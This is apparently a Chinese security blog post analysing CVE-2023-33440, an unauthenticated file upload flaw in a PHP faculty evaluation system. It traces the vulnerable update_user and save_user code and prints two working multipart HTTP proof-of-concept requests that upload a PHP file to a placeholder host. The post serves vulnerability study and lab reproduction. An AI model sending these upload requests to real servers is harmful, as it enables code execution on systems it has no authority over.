CVE-2023-33440源码分析

admin 2025年1月20日13:05:58评论6 views字数 2585阅读8分37秒阅读模式

CVE-2023-33440源码分析

免责声明

由于传播、利用本公众号"小妖怪想学安全

"所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号"小妖怪想学安全"及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉谢谢!

0、漏洞描述

oretnom23 的教师评估系统 v1.0 具有未授权文件上传功能

源码下载地址:

https://www.sourcecodester.com/php/14635/faculty-evaluation-system-using-phpmysqli-source-code.html

2、CVE编号

CVE-2023-33440

3、源码分析-update_user

  1. 先分析poc

    POST /ajax.php?action=update_user HTTP/1.1Host: xxx.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestContent-Length: 741Content-Type: multipart/form-data; boundary=---------------------------166782539326470Connection: close-----------------------------166782539326470Content-Disposition: form-data; name="id"1-----------------------------166782539326470Content-Disposition: form-data; name="firstname"Administrator-----------------------------166782539326470Content-Disposition: form-data; name="lastname"a-----------------------------166782539326470Content-Disposition: form-data; name="email"[email protected]-----------------------------166782539326470Content-Disposition: form-data; name="password"admin-----------------------------166782539326470Content-Disposition: form-data; name="img"; filename="php.php"Content-Type: application/octet-stream<?php phpinfo();?>-----------------------------166782539326470--
  2. 通过poc可以注意一个三个点:

    • 漏洞是在那个文件产生的:ajax.php
    • 传递的参数:action=update_user
    • 漏洞类型:文件上传
  3. 来到下载好的源码中,找到ajax.php,并打开,两个重要的点

    CVE-2023-33440源码分析
    • 包含了:admin_class.php
    • action的值为update_user时就会执行Action类中大的update_user()方法
  4. 现在来到admin_class.php,文件,可以看到这个文件里边就有Action这类的源码

    CVE-2023-33440源码分析
  5. 现在就直接在这个类里边找,update_user的源码,实现了文件上传的功能,并且没有任何拦截,并且在传递参数时,如果有id有值就打印整个查询语句

    CVE-2023-33440源码分析
  6. 所以现在可以重构一下poc,这样就简单一点了

    POST /ajax.php?action=update_user HTTP/1.1Host: xxx.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestContent-Length: 312Content-Type: multipart/form-data; boundary=---------------------------166782539326470Connection: close-----------------------------166782539326470Content-Disposition: form-data; name="id"1-----------------------------166782539326470Content-Disposition: form-data; name="img"; filename="php.php"Content-Type: application/octet-stream<?php phpinfo();?>-----------------------------166782539326470--

4、源码分析-save_user

  1. 在ajax.php文件中还有一个save_user,值也一样存在相同的漏洞

    CVE-2023-33440源码分析
  2. 直接来到admin_class.php,的save_user方法,和上边是一样的

    CVE-2023-33440源码分析
  3. 这里和上边不一样的点就是,不会打印文件名,但是这个文件名是通过时间戳生产的

5、复现

  1. 直接去春秋云境:https://yunjing.ichunqiu.com/cve/detail/1123?pay=2

    搜索该漏洞编号即可进行复现

  2. 发包

    CVE-2023-33440源码分析
  3. 访问上传的文件

    CVE-2023-33440源码分析

原文始发于微信公众号(青春计协):CVE-2023-33440源码分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月20日13:05:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-33440源码分析https://cn-sec.com/archives/3649798.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息